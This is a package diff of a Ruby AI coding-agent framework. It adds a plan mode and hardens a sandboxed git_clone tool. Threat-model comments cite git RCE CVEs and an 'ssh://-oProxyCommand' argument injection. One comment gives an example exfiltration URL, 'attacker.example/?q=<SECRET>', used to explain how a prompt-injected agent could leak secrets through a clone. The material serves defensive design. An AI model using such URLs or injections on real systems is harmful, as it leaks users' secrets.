pikuri-code 0.0.6 → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,164 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Pikuri
4
+ module Code
5
+ # An {Pikuri::Agent::Extension} wiring pikuri-code's own tools: {Bash}, the
6
+ # plan-mode pair ({EnterPlanMode} / {ExitPlanMode}), and {GitClone} as a
7
+ # sub-agent-only tool. Owns only this surface — callers add Skill / Tasks /
8
+ # Mcp / SubAgent extensions themselves.
9
+ #
10
+ # == Plan mode is opt-in via the read-only flag
11
+ #
12
+ # The plan-mode tools, {PLAN_MODE_PROMPT}, and the per-turn reminder are
13
+ # wired only when the host passes a {Pikuri::Workspace::ReadOnly} flag via
14
+ # +read_only:+ — and it must be the *same* instance handed to the
15
+ # file-editing tools (via {Pikuri::Workspace::Extension}'s +read_only:+), so
16
+ # their refusal and this reminder stay in lockstep. With no flag, {Bash} +
17
+ # {GitClone} still install but plan mode is unavailable. The transition is a
18
+ # {PlanModeChanged} domain event emitted from {#bind} — a pikuri-code
19
+ # concern, not a core event (the loop never reads plan mode).
20
+ #
21
+ # == Usage
22
+ #
23
+ # read_only = Pikuri::Workspace::ReadOnly.new
24
+ # Pikuri::Agent.new(...) do |c|
25
+ # c.add_extension Pikuri::Workspace::Extension.new(
26
+ # filesystem:, confirmer:, read_only: read_only
27
+ # )
28
+ # c.add_extension Pikuri::Code::Extension.new(
29
+ # filesystem: filesystem,
30
+ # confirmer: confirmer,
31
+ # sandbox: sandbox,
32
+ # read_only: read_only
33
+ # )
34
+ # end
35
+ class Extension
36
+ include Pikuri::Agent::Extension
37
+
38
+ # Tool classes whose pre-registration is rejected — the extension
39
+ # is the single owner of these, so a manually pre-registered copy
40
+ # would shadow the wiring done here.
41
+ TOOL_CLASSES = [Bash, EnterPlanMode, ExitPlanMode].freeze
42
+
43
+ # Static plan-mode explainer, appended *once* (and so prefix-cached) when
44
+ # plan mode is wired: mechanics + active-behavior contract, paid once. The
45
+ # per-turn {PLAN_MODE_REMINDER} is then a one-line re-assertion at the
46
+ # uncached tail. An extension-owned snippet that names its own tools (the
47
+ # persona/extension carve-out to "no tool names in a main prompt").
48
+ #
49
+ # @return [String]
50
+ PLAN_MODE_PROMPT = <<~PROMPT
51
+ <plan_mode>
52
+ You can work in plan mode — a read-only posture for researching and designing a change before writing any of it. Reach for enter_plan_mode before a non-trivial change (new features, multi-file edits, refactors, anything with several viable approaches); the user can also turn plan mode on directly. While it is active you will see a short reminder each turn.
53
+
54
+ While in plan mode:
55
+ - The file-editing tools are disabled and will refuse — do not try to create, overwrite, or edit files.
56
+ - Explore freely: read files, search the codebase, and run read-only shell commands.
57
+ - Work out a concrete plan — which files change, the change to each, and any trade-offs — and write it out.
58
+ - Call exit_plan_mode with that plan to present it for approval. Only start implementing once the user approves.
59
+ - If a requirement is genuinely ambiguous, ask the user directly rather than guessing.
60
+ </plan_mode>
61
+ PROMPT
62
+
63
+ # One-line per-turn re-assertion, injected as a reference block while
64
+ # plan mode is active (see {#on_user_message}). Deliberately tiny — it
65
+ # lands at the uncached tail, while the substantive prose lives cached in
66
+ # {PLAN_MODE_PROMPT}. Inlined rather than in +prompts/+ because it's one
67
+ # line.
68
+ #
69
+ # @return [String]
70
+ PLAN_MODE_REMINDER =
71
+ 'Reminder: you are in plan mode (read-only) — research, design, ' \
72
+ 'and brainstorm, but do not edit files.'
73
+
74
+ # Reason clause for a write/edit refusal *when plan mode is why the
75
+ # workspace is read-only*. Handed to {Pikuri::Workspace::ReadOnly} (via
76
+ # the host) so a refused Write/Edit names the recovery path
77
+ # (+exit_plan_mode+) instead of the generic
78
+ # {Pikuri::Workspace::ReadOnly::DEFAULT_MESSAGE}, which can't assume plan
79
+ # mode is the cause.
80
+ #
81
+ # @return [String]
82
+ PLAN_MODE_READONLY_MESSAGE =
83
+ 'you are in plan mode (read-only). Add this change to your plan and ' \
84
+ 'call exit_plan_mode to present it; you can apply it once the user approves.'
85
+
86
+ # @param filesystem [Pikuri::Workspace::Filesystem]
87
+ # @param confirmer [Pikuri::Workspace::Confirmer]
88
+ # @param sandbox [Pikuri::Code::Bash::Sandbox]
89
+ # @param read_only [Pikuri::Workspace::ReadOnly, nil] the shared read-only
90
+ # flag (same instance handed to {Pikuri::Workspace::Extension}). When
91
+ # present, plan-mode tools + prompt + reminder + event are wired; +nil+
92
+ # leaves plan mode unavailable.
93
+ # @param passive_detector [#passive?, nil] passive-command pre-approval
94
+ # predicate handed to {Bash} only ({Bash::PassiveCommandDetector}); the
95
+ # +exit_plan_mode+ gate always uses the bare +confirmer+.
96
+ def initialize(filesystem:, confirmer:, sandbox: Bash::Sandbox::NONE, read_only: nil,
97
+ passive_detector: nil)
98
+ @filesystem = filesystem
99
+ @confirmer = confirmer
100
+ @sandbox = sandbox
101
+ @read_only = read_only
102
+ @passive_detector = passive_detector
103
+ end
104
+
105
+ # @param c [Pikuri::Agent::Configurator]
106
+ # @return [void]
107
+ def configure(c)
108
+ TOOL_CLASSES.each do |cls|
109
+ if c.tools.any?(cls)
110
+ raise "#{cls} cannot be pre-registered when adding Pikuri::Code::Extension"
111
+ end
112
+ end
113
+
114
+ c.add_tool Bash.new(filesystem: @filesystem, confirmer: @confirmer, sandbox: @sandbox,
115
+ passive_detector: @passive_detector)
116
+
117
+ # Plan mode rides the host-owned read-only flag; only wire its
118
+ # tools when one was supplied (see the class header). The prompt
119
+ # half is contributed by {#system_prompt_snippets}.
120
+ if @read_only
121
+ c.add_tool EnterPlanMode.new(read_only: @read_only)
122
+ c.add_tool ExitPlanMode.new(read_only: @read_only, confirmer: @confirmer)
123
+ end
124
+
125
+ # Sub-agent-only (never visible to the parent) — it exists solely for
126
+ # the GIT_REPO_RESEARCHER persona.
127
+ c.add_sub_agent_tool GitClone.new(filesystem: @filesystem)
128
+ nil
129
+ end
130
+
131
+ # @return [Array<String>] the plan-mode prompt, only when the
132
+ # read-only flag is wired (so the prompt and the plan-mode tools
133
+ # appear together); otherwise none.
134
+ def system_prompt_snippets = @read_only ? [PLAN_MODE_PROMPT] : []
135
+
136
+ # Bridge plan-mode transitions onto the listener stream so UI chrome can
137
+ # render the posture — both model-driven ({EnterPlanMode} / {ExitPlanMode})
138
+ # and host-driven flips. No-op when plan mode isn't wired.
139
+ #
140
+ # @param ctx [Pikuri::Agent::ExtensionContext]
141
+ # @return [void]
142
+ def bind(ctx)
143
+ return nil unless @read_only
144
+
145
+ @read_only.on_change { |active| ctx.emit_event(PlanModeChanged.new(active: active)) }
146
+ nil
147
+ end
148
+
149
+ # Inject {PLAN_MODE_REMINDER} on every turn plan mode is active — the
150
+ # soft half of the defense, re-asserting the posture
151
+ # even when the *host* engaged it and the model never saw a tool call.
152
+ # +nil+ (inject nothing) when plan mode is off or unwired.
153
+ #
154
+ # @param _ctx [Pikuri::Agent::ExtensionContext]
155
+ # @param _content [String]
156
+ # @return [String, nil]
157
+ def on_user_message(_ctx, _content)
158
+ return nil unless @read_only&.active?
159
+
160
+ PLAN_MODE_REMINDER
161
+ end
162
+ end
163
+ end
164
+ end
@@ -5,69 +5,44 @@ require 'uri'
5
5
 
6
6
  module Pikuri
7
7
  module Code
8
- # The +git_clone+ tool — shallow-clone a public git repository into
9
- # the workspace. Instantiating +Code::GitClone.new(workspace: ws)+
10
- # produces a tool whose {Pikuri::Tool#to_ruby_llm_tool} wiring is
11
- # identical to any bundled tool's; +execute+ closes over the
12
- # workspace and a lazily-minted {Bash::Sandbox::Bubblewrap}.
13
- #
14
- # == Why this exists
15
- #
16
- # The bundled +researcher+ persona can web_search / web_scrape /
17
- # fetch, which is great for "look up one fact" but inefficient when
18
- # the task is "dig through opencode's source for how it does X."
19
- # The pattern *N pages of HTML scraping* is much worse than
20
- # *one shallow clone + grep*. This tool plus
21
- # {Pikuri::Code::GIT_REPO_RESEARCHER} (the persona that wires it
22
- # together with workspace-scoped read/grep/glob) is the answer.
8
+ # The +git_clone+ tool — shallow-clone a public git repository into the
9
+ # workspace. +Code::GitClone.new(filesystem: fs)+ produces a tool whose
10
+ # +execute+ closes over the filesystem and a lazily-minted
11
+ # {Bash::Sandbox::Bubblewrap}. Its home is
12
+ # {Pikuri::Code::GIT_REPO_RESEARCHER}: *one shallow clone + grep* beats
13
+ # *N pages of HTML scraping* when the task is "dig through this repo's
14
+ # source for how it does X".
23
15
  #
24
16
  # == Threat model
25
17
  #
26
- # Git clone is not "just reading files." Hostile upstream has a
27
- # history of RCEs:
28
- #
29
- # * CVE-2024-32002 submodule + symlink + case-insensitive FS
30
- # escape RCE.
31
- # * CVE-2022-39253 — +--local+ clone reading arbitrary host files
32
- # via symlinks.
33
- # * CVE-2017-1000117 — +ssh://+ URL arg injection
34
- # (+ssh://-oProxyCommand=...+) → arbitrary command execution.
35
- # * +.gitattributes+ filter drivers, +.git/config+ +core.fsmonitor+
36
- # /+core.sshCommand+ — code paths that run during clone /
37
- # checkout.
38
- #
39
- # Mitigations baked in here:
40
- #
41
- # 1. **HTTPS/HTTP only.** {VALID_SCHEMES} is +%w[https http]+;
42
- # +ssh://+, +git://+, +file://+, +ext::+, and anything else are
43
- # refused at the tool layer before +git+ sees the string.
44
- # 2. **No submodule recursion.** +--no-recurse-submodules+ kills
45
- # the CVE-2024-32002 class.
46
- # 3. **Shallow clone.** +--depth 1+ skips history (fewer ref
47
- # parsing edge cases, faster, smaller).
48
- # 4. **Bubblewrap-sandboxed subprocess.** The +git+ binary runs
49
- # inside {Bash::Sandbox::Bubblewrap} bound to the persona's
50
- # fresh temp workspace — no host +~/.ssh+, no +~/.gitconfig+,
51
- # no other projects' source, no container sockets. A
52
- # clone-RCE blast radius is the persona's throwaway workspace.
53
- #
54
- # The Bubblewrap instance is minted lazily on first +execute+,
55
- # not at construction — the boot-time GitClone wired by
56
- # +bin/pikuri-code+ never runs (it lives in the sub-agent-only
57
- # pool), and gets replaced by a fresh-workspace clone via
58
- # {#with_workspace} the moment a +git_repo_researcher+ session
59
- # starts. Eager construction would pay the ~+bwrap+ probe cost on
60
- # every coding-agent boot for no reason.
18
+ # Git clone is not "just reading files" hostile upstream has a history of
19
+ # RCEs (CVE-2024-32002 submodule+symlink escape; CVE-2022-39253 +--local+
20
+ # arbitrary-file read; CVE-2017-1000117 +ssh://-oProxyCommand=...+ arg
21
+ # injection; +.gitattributes+ filter drivers and +.git/config+
22
+ # +core.fsmonitor+/+core.sshCommand+ code paths that run during checkout).
23
+ # Mitigations baked in:
61
24
  #
62
- # == Output
25
+ # 1. **HTTPS/HTTP only.** {VALID_SCHEMES}; +ssh://+/+git://+/+file://+/
26
+ # +ext::+ are refused before +git+ sees the string.
27
+ # 2. **No submodule recursion.** +--no-recurse-submodules+ kills the
28
+ # CVE-2024-32002 class.
29
+ # 3. **Shallow clone.** +--depth 1+ (fewer ref-parsing edge cases).
30
+ # 4. **Bubblewrap-sandboxed.** +git+ runs inside {Bash::Sandbox::Bubblewrap}
31
+ # bound to the persona's fresh temp workspace — no host +~/.ssh+, no
32
+ # +~/.gitconfig+, no other projects' source, no container sockets. A
33
+ # clone-RCE's blast radius is the throwaway workspace.
63
34
  #
64
- # On success: a one-line ack with the relative path inside the
65
- # workspace. The persona then uses +read+ / +grep+ / +glob+ to
66
- # explore the clone.
35
+ # The Bubblewrap instance is minted lazily on first +execute+, not at
36
+ # construction: the boot-time GitClone wired by +bin/pikuri-code+ lives in
37
+ # the sub-agent-only pool and never runs — it's replaced via
38
+ # {#with_workspace} when a +git_repo_researcher+ session starts, so eager
39
+ # construction would pay the +bwrap+ probe cost on every boot for nothing.
67
40
  #
68
- # On failure: +"Error: ..."+ in the usual pikuri convention.
69
- # Possible causes: refused URL scheme, malformed URI, network
70
- # failure, target dir already exists, +git+ non-zero exit.
41
+ # Sharing: +P_one_agent+ an instance is bound to one session's temp
42
+ # workspace, which is the whole point (a clone-RCE's blast radius is *that*
43
+ # throwaway tree). +with_workspace+ mints the per-session copy. The lazy
44
+ # sandbox memo is unguarded, so a shared instance could also pay the +bwrap+
45
+ # probe twice.
71
46
  class GitClone < Pikuri::Tool
72
47
  # URL schemes accepted. +https+ first (TLS) and +http+ as a
73
48
  # fallback for the rare public mirror. All other schemes are
@@ -88,21 +63,21 @@ module Pikuri
88
63
  - URL must be `https://` (preferred) or `http://`. Any other scheme (`ssh://`, `git://`, `file://`) is refused.
89
64
  - Always cloned with `--depth 1 --no-recurse-submodules`; you get the current tip, no history, no submodules.
90
65
  - Target directory name is derived from the URL's last segment (without `.git`). If that directory already exists, the call fails — pick a different URL or work with what you cloned.
91
- - On success returns the relative path to the cloned repo; use `read`, `grep`, `glob` to navigate it.
66
+ - On success returns the relative path to the cloned repo; use `file_list`, `read`, `grep`, `glob` to navigate it.
92
67
  - Clones run inside a sandbox bound to your workspace — host files, SSH keys, and `~/.gitconfig` are NOT visible to the cloned repo's hooks/filters.
93
68
  DESC
94
69
 
95
- # @param workspace [Pikuri::Workspace::Filesystem] captured for
70
+ # @param filesystem [Pikuri::Workspace::Filesystem] captured for
96
71
  # the clone target root and the sandbox bind set.
97
72
  # @param sandbox [Bash::Sandbox, nil] optional sandbox override
98
73
  # (defaults to a lazily-minted {Bash::Sandbox::Bubblewrap}
99
- # bound to +workspace+). Pass {Bash::Sandbox::NONE} in tests
74
+ # bound to +filesystem+). Pass {Bash::Sandbox::NONE} in tests
100
75
  # that don't have +bwrap+ on +PATH+; production wiring leaves
101
76
  # it +nil+ so the Bubblewrap mint happens at the right moment
102
- # (after {#with_workspace} replaces the workspace).
77
+ # (after {#with_workspace} replaces the filesystem).
103
78
  # @return [GitClone]
104
- def initialize(workspace:, sandbox: nil)
105
- @workspace = workspace
79
+ def initialize(filesystem:, sandbox: nil)
80
+ @filesystem = filesystem
106
81
  @sandbox = sandbox
107
82
  super(
108
83
  name: 'git_clone',
@@ -114,19 +89,27 @@ module Pikuri
114
89
  '"https://github.com/anomalyco/opencode.git". ' \
115
90
  'Other schemes are refused.'
116
91
  },
117
- execute: ->(url:) { execute_clone(url: url) }
92
+ execute: ->(url:) { execute_clone(url: url) },
93
+ # A *readable* egress verb, same family as {Pikuri::Tool::FETCH} and
94
+ # not a softer one: the clone host is chosen by whoever wrote the URL,
95
+ # so `clone https://attacker.example/?q=<SECRET>` reaches a server the
96
+ # attacker reads. The cloned tree is then attacker-authored content.
97
+ trifecta_legs: Pikuri::Tool::TrifectaLegs::ASSUMED
118
98
  )
119
99
  end
120
100
 
121
- # Produce a new {GitClone} bound to +workspace+. The sandbox is
122
- # NOT carried over — the new instance lazily mints a fresh
123
- # Bubblewrap from the new workspace, since a sandbox's bind set
124
- # depends on the workspace it constrains. See class header.
101
+ # Produce a new {GitClone} bound to the session +workspace+'s bare
102
+ # {Pikuri::Workspace::Workspace#filesystem}. The +with_workspace+ protocol
103
+ # ({Pikuri::SubAgent::SubAgentTool}) hands rebuilt tools the composite,
104
+ # but GitClone's {Bash::Sandbox::Bubblewrap} needs the bare {Filesystem}'s
105
+ # +readable+/+writable+/+temp+, so it reads +workspace.filesystem+ here.
106
+ # The sandbox is NOT carried over — a fresh Bubblewrap is minted lazily
107
+ # from the new filesystem (its bind set depends on that filesystem).
125
108
  #
126
- # @param workspace [Pikuri::Workspace::Filesystem]
109
+ # @param workspace [Pikuri::Workspace::Workspace]
127
110
  # @return [GitClone]
128
111
  def with_workspace(workspace)
129
- self.class.new(workspace: workspace)
112
+ self.class.new(filesystem: workspace.filesystem)
130
113
  end
131
114
 
132
115
  private
@@ -134,7 +117,7 @@ module Pikuri
134
117
  # Mint the sandbox on first use, cache for subsequent calls.
135
118
  # See class header for why this isn't eager.
136
119
  def sandbox
137
- @sandbox ||= Bash::Sandbox::Bubblewrap.new(workspace: @workspace)
120
+ @sandbox ||= Bash::Sandbox::Bubblewrap.new(filesystem: @filesystem)
138
121
  end
139
122
 
140
123
  def execute_clone(url:)
@@ -142,7 +125,7 @@ module Pikuri
142
125
  return uri if uri.is_a?(String) # error message
143
126
 
144
127
  target_name = derive_target_name(uri)
145
- target_path = @workspace.project_root.join(target_name)
128
+ target_path = @filesystem.project_root.join(target_name)
146
129
  if target_path.exist?
147
130
  return "Error: target directory #{target_name.inspect} already exists in the workspace."
148
131
  end
@@ -152,7 +135,7 @@ module Pikuri
152
135
  'git', 'clone', '--depth', '1', '--no-recurse-submodules', '--quiet',
153
136
  '--', url, target_name
154
137
  ])
155
- result = Pikuri::Subprocess.spawn(*argv, chdir: @workspace.project_root.to_s).wait
138
+ result = Pikuri::Subprocess.spawn(*argv, chdir: @filesystem.project_root.to_s).wait
156
139
 
157
140
  if result.status.success?
158
141
  "Cloned #{url} → #{target_name}/ (depth=1, no submodules)."
@@ -187,7 +170,7 @@ module Pikuri
187
170
  # for path-less URLs. The basename is intentionally taken from
188
171
  # the parsed URI so path-traversal segments (+..+) in the URL
189
172
  # collapse to harmless directory names — the clone still lands
190
- # inside +workspace.project_root+ because the +chdir+ + the
173
+ # inside +filesystem.project_root+ because the +chdir+ + the
191
174
  # workspace containment check on subsequent reads enforce it.
192
175
  def derive_target_name(uri)
193
176
  name = File.basename(uri.path.to_s)
@@ -3,61 +3,31 @@
3
3
  module Pikuri
4
4
  module Code
5
5
  # Bundled "clone-and-dig" persona. Where {Pikuri::SubAgent::RESEARCHER}
6
- # answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers
7
- # "explore that repo's source for how it does X."
8
- #
9
- # == Toolset
10
- #
11
- # * +git_clone+ — shallow, sandboxed clone of a public repo
12
- # ({Pikuri::Code::GitClone}).
13
- # * +read+ / +grep+ / +glob+ rebuilt onto the persona's fresh
14
- # workspace by {Pikuri::SubAgent::SubAgentTool}'s
15
- # +#with_workspace+ dispatch (see
16
- # {Pikuri::SubAgent::Persona}'s class header).
17
- # * +web_search+ / +web_scrape+ / +fetch+ — same network reads
18
- # as {Pikuri::SubAgent::RESEARCHER}; useful for "what does the
19
- # README say about Y" without a clone.
20
- #
21
- # No +bash+, no +edit+, no +write+, no +agent+ (no recursion).
22
- #
23
- # == Per-invocation workspace
24
- #
25
- # The persona signals +needs_temp_workspace: true+ — that's all.
26
- # {Pikuri::SubAgent::SubAgentTool} owns the lifecycle: mktmpdir +
27
- # construct a {Pikuri::Workspace::Filesystem} with the temp dir
28
- # as +project_root+ + {Pikuri::SubAgent::SubAgentTool::TEMP_WORKSPACE_READABLE}
29
- # folded into +readable:+ (so the Bubblewrap-wrapped +git+
30
- # subprocess can find its binary under +/usr+) +
31
- # +FileUtils.remove_entry+ on the temp dir at sub-agent close.
32
- # The persona has no say in shape or cleanup.
33
- #
34
- # The persona's filesystem view is *disjoint* from the parent's:
35
- # a cloned repo cannot leave files where the parent's +read+
36
- # tool would later find them (containment check rejects paths
37
- # outside the parent's +project_root+), so string paths
38
- # exfiltrated through the persona's reply are inert.
39
- #
40
- # == Security profile
41
- #
42
- # Trifecta-wise, the persona is the same shape as
43
- # {Pikuri::SubAgent::RESEARCHER}: leg (a) "private data" is
44
- # structurally near-zero (no project_root access, no home dir
45
- # access — only the temp workspace + what it just downloaded);
46
- # legs (b)/(c) are present (untrusted cloned content + network
47
- # egress) but harmless without (a). The one wrinkle vs.
48
- # RESEARCHER is the historical RCE class on +git clone+ itself
49
- # — addressed by {GitClone}'s HTTPS-only + no-submodules + the
50
- # Bubblewrap sandbox bound to the temp workspace. See
51
- # {Pikuri::Code::GitClone} for the full mitigation list.
6
+ # answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers "explore
7
+ # that repo's source for how it does X". Toolset is +git_clone+ +
8
+ # +file_list+/+read+/+grep+/+glob+ (rebuilt onto the fresh workspace by
9
+ # {Pikuri::SubAgent::SubAgentTool}) + the RESEARCHER network reads
10
+ # (+web_search+/+web_scrape+/+fetch+). No +bash+/+edit+/+write+/+agent+.
11
+ #
12
+ # It signals +needs_temp_workspace: true+ and nothing more;
13
+ # {Pikuri::SubAgent::SubAgentTool} owns the temp-dir lifecycle. That view is
14
+ # *disjoint* from the parent's, so a path a cloned repo exfiltrates through
15
+ # the persona's reply is inert (the parent's containment check rejects it).
16
+ #
17
+ # Trifecta-wise, same shape as {Pikuri::SubAgent::RESEARCHER}: leg (a)
18
+ # private data is near-zero (only the temp workspace + what it downloaded),
19
+ # so legs (b)/(c) untrusted content + egress — are harmless. The one
20
+ # wrinkle is the historical RCE class on +git clone+ itself, addressed by
21
+ # {GitClone}'s HTTPS-only + no-submodules + Bubblewrap sandbox.
52
22
  #
53
23
  # @return [Pikuri::SubAgent::Persona]
54
24
  GIT_REPO_RESEARCHER = Pikuri::SubAgent::Persona.new(
55
25
  name: 'git_repo_researcher',
56
- description: 'Clone a public git repo and explore it with read/grep/glob. ' \
26
+ description: 'Clone a public git repo and explore it with file_list/read/grep/glob. ' \
57
27
  'Use when you need to dig through a repository\'s actual source, ' \
58
28
  'not just a page about it. Also has web_search/web_scrape/fetch. ' \
59
29
  'Returns one paragraph + citations.',
60
- tool_names: %w[git_clone read grep glob web_search web_scrape fetch].freeze,
30
+ tool_names: %w[git_clone file_list read grep glob web_search web_scrape fetch].freeze,
61
31
  system_prompt: Pikuri.prompt('persona-git-repo-researcher'),
62
32
  max_steps: 30,
63
33
  needs_temp_workspace: true
@@ -0,0 +1,24 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Pikuri
4
+ module Code
5
+ # Domain event emitted onto the listener stream whenever plan mode
6
+ # transitions — model-driven ({EnterPlanMode} / {ExitPlanMode}) or
7
+ # host-driven. Wired by {Extension#bind} through the shared
8
+ # {Pikuri::Workspace::ReadOnly} flag's +on_change+. A pikuri-code *domain*
9
+ # event, not a core {Pikuri::Agent::Event} — the loop never reads plan
10
+ # mode; listeners that don't care no-op on it (the demo
11
+ # {Pikuri::Agent::Listener::Terminal} renders it generically via {#to_s}).
12
+ #
13
+ # Carries only the new posture, so a UI listener can render an indicator
14
+ # without touching the flag. A host flip fires on the host's thread, a model
15
+ # flip on the agent's — treat the boolean as the latest authoritative state.
16
+ PlanModeChanged = Data.define(:active) do
17
+ # @return [String] human-facing label; the Terminal demo prints it
18
+ # verbatim, so the wording lives here, not in core.
19
+ def to_s
20
+ "plan mode: #{active ? 'on (read-only)' : 'off'}"
21
+ end
22
+ end
23
+ end
24
+ end
@@ -2,129 +2,73 @@
2
2
 
3
3
  module Pikuri
4
4
  module Code
5
- # Curated lists of filesystem prefixes a coding agent benefits
6
- # from seeing: system toolchains under +/usr+ and +/opt+, per-user
7
- # toolchain managers (mise/asdf/rbenv/pyenv/nvm/rustup), and the
8
- # per-user dependency caches the toolchains themselves mutate
9
- # (Gradle, Maven, Cargo, npm, pip, …). Not a tool — a
10
- # configuration helper that +bin/pikuri-code+ (and any downstream
11
- # coding binary built on pikuri-code) feeds into
12
- # +Pikuri::Workspace::Filesystem.new(readable: ...)+ alongside the
13
- # skill catalog's roots, and into
14
- # +Pikuri::Code::Bash::Sandbox::Bubblewrap.new(ephemeral_overlay: ...)+
15
- # for the overlay layer.
5
+ # Curated list of filesystem prefixes a coding agent benefits from seeing:
6
+ # system toolchains under +/usr+/+/opt+, per-user toolchain managers
7
+ # (mise/asdf/rbenv/pyenv/nvm/rustup), and the per-user dependency caches the
8
+ # toolchains mutate (Gradle, Maven, Cargo, npm, pip, …). Not a tool — a
9
+ # config helper +bin/pikuri-code+ feeds into
10
+ # +Filesystem.new(readable: …)+ alongside the skill catalog's roots.
16
11
  #
17
- # The list is the "allowlist a coding agent reads" surface derived
18
- # from the threat-model discussion that drove this gem; see
19
- # +pikuri-workspace/lib/pikuri/workspace/filesystem.rb+ for the
20
- # containment story and CLAUDE.md's Scope decisions for the
21
- # Linux-first stance.
22
- #
23
- # == .readable vs. .ephemeral_overlay
24
- #
25
- # The split exists because the bubblewrap sandbox treats these two
26
- # groups differently:
27
- #
28
- # * {.readable} — true read-only: system toolchains (+/usr+,
29
- # +/opt+) and per-user toolchain managers (+~/.rbenv+, +~/.pyenv+,
30
- # +~/.nvm+, +~/.asdf+, +~/.rustup+, +~/.local/share/mise+, +~/.config/mise+).
31
- # The user installed these out-of-band; the LLM should be able
32
- # to grep them but neither write nor *appear* to write to them.
33
- # Bubblewrap +--ro-bind+'s each.
34
- # * {.ephemeral_overlay} — per-user dependency caches the
35
- # toolchain itself mutates when invoked: subdirs of +~/.gradle+,
36
- # +~/.m2/repository+, +~/.cargo/registry+, +~/.ivy2/cache+,
37
- # +~/go/pkg/mod+, +~/.cache/pip+, +~/.cache/uv+, +~/.npm+, the
38
- # pnpm store, +~/.nuget/packages+. The toolchain *needs* to
39
- # write to these (Gradle's journal/locks, Maven downloading a
40
- # new dep, …), but persistent host pollution from a poisoned
41
- # pikuri-code session would propagate to the user's other
42
- # projects. The bubblewrap sandbox overlays each with a
43
- # per-session ephemeral upper layer under
44
- # +<workspace.internal_temp>/overlay-<slug>/+ — writes survive
45
- # across bash calls within one session, then vanish at process
46
- # exit. See {Pikuri::Code::Bash::Sandbox::Bubblewrap} for the
47
- # wiring.
48
- #
49
- # The host-side workspace continues to include both lists in its
50
- # +readable+ set, so the LLM can Read/Grep/Glob them via the file
51
- # tools (which operate on the host filesystem, not the sandbox view).
12
+ # Every entry is mounted by {Pikuri::Code::Bash::Sandbox::Bubblewrap} as a
13
+ # read-write *ephemeral overlay* (read-only bind without overlayfs): the
14
+ # host's real dir is the read-through lower, a per-session upper absorbs
15
+ # writes and is discarded at exit. Overlaid rather than read-only because
16
+ # build tools assume their dirs are writable — a read-only +~/.rbenv+ breaks
17
+ # +gem install+ with +EROFS+, since the install target lives *inside* the
18
+ # version-manager dir with no separate cache to overlay. The workspace also
19
+ # lists these in +readable+ so the LLM can Read/Grep/Glob them via the file
20
+ # tools (which run on the host fs); writes through bash land in the overlay
21
+ # and are not visible to those tools — an accepted asymmetry.
52
22
  #
53
23
  # == Why subdirs, not whole toolchain dirs
54
24
  #
55
- # Every entry in {.ephemeral_overlay} is a content-only subdir
56
- # chosen to *exclude* the toolchain's credential / persistence
57
- # files. The exposed path holds cache content (downloaded jars,
58
- # distributions, modules); the excluded paths hold secrets or
59
- # build-config:
25
+ # The dependency caches are listed as *content-only subdirs* that *exclude*
26
+ # the toolchain's credential / persistence files. The overlay is ephemeral,
27
+ # but the host's real file is the read-through lower — so a narrower mount
28
+ # keeps secrets out of the sandbox's *view* entirely rather than relying on
29
+ # "the write vanished". Exposed paths hold cache content; excluded paths
30
+ # hold secrets or build-config:
60
31
  #
61
- # * +~/.gradle/caches+ + +~/.gradle/wrapper/dists+ + +~/.gradle/jdks+
62
- # — NOT +~/.gradle/gradle.properties+ (signing keys, OSSRH /
63
- # GitHub Packages / Develocity tokens), NOT +~/.gradle/init.d+
64
- # (persistence: any future +./gradlew+ outside pikuri would
65
- # execute init scripts a poisoned session could plant here),
66
- # NOT +~/.gradle/enterprise+ (Develocity access keys), NOT
67
- # +~/.gradle/daemon+ (logs that can leak +-P+ project
68
- # properties passed on the command line).
32
+ # * +~/.gradle/caches+ + +wrapper/dists+ + +jdks+ — NOT
33
+ # +gradle.properties+ (signing keys / OSSRH / Develocity tokens), NOT
34
+ # +init.d+ (persistence: a future +./gradlew+ outside pikuri would
35
+ # execute init scripts a poisoned session planted here), NOT
36
+ # +enterprise+ (Develocity keys), NOT +daemon+ (logs leaking +-P+
37
+ # properties).
69
38
  # * +~/.m2/repository+ — NOT +~/.m2/settings.xml+ (server creds).
70
- # * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+
71
- # (crates.io publish tokens).
39
+ # * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+ (publish tokens).
72
40
  # * +~/.ivy2/cache+ — NOT +~/.ivy2/.credentials+ (resolver creds).
73
41
  #
74
- # +bwrap+ creates the parent dir (e.g. +~/.gradle/+) as an empty
75
- # tmpfs directory inside the sandbox automatically, so the
76
- # toolchain can mkdir new subdirs there (e.g. +~/.gradle/daemon/+)
77
- # without seeing anything we didn't bind. The cost is mild: dirs
78
- # outside the overlay list (+~/.gradle/daemon/+, native cache,
79
- # configuration cache) start empty each bash call instead of
80
- # persisting within a session. That's acceptable for daemon-style
81
- # caches — the warm-cache value lives in +caches/+ and +wrapper/+,
82
- # which the overlays cover.
42
+ # The version-manager roots (+~/.rbenv+, +~/.pyenv+, …) are listed *whole*
43
+ # because they carry no credential files and their install targets live
44
+ # directly under them. mise installs under +~/.local/share/mise/installs+
45
+ # (so overlaying +~/.local/share/mise+ covers it); system Ruby under +/usr+.
83
46
  module ToolchainPaths
84
- # @return [Array<String>] absolute paths, in stable order, each
85
- # one confirmed to be an existing directory at the moment of
86
- # the call. Presence-filtered: a developer who doesn't have
87
- # Rust installed doesn't get a phantom +~/.rustup+ in their
88
- # workspace.
47
+ # @return [Array<String>] absolute paths, stable order, presence-filtered
48
+ # to existing directories (no Rust installed no phantom +~/.rustup+; a
49
+ # missing +~/.gradle/caches+ stays out). See the module header for the
50
+ # overlay treatment and the content-only-subdir rationale.
89
51
  def self.readable
90
52
  home = Dir.home
91
53
  candidates = [
54
+ # System + per-user toolchains, listed whole (see module header).
92
55
  '/usr',
93
56
  '/opt',
94
57
  File.join(home, '.local/share/mise'),
95
58
  File.join(home, '.config/mise'),
96
59
  File.join(home, '.asdf'),
97
60
  File.join(home, '.rbenv'),
61
+ File.join(home, '.gem'),
98
62
  File.join(home, '.pyenv'),
99
63
  File.join(home, '.nvm'),
100
- File.join(home, '.rustup')
101
- ]
102
- candidates.select { |p| File.directory?(p) }.freeze
103
- end
104
-
105
- # @return [Array<String>] absolute paths to per-user dependency
106
- # caches the toolchain mutates. Presence-filtered, same
107
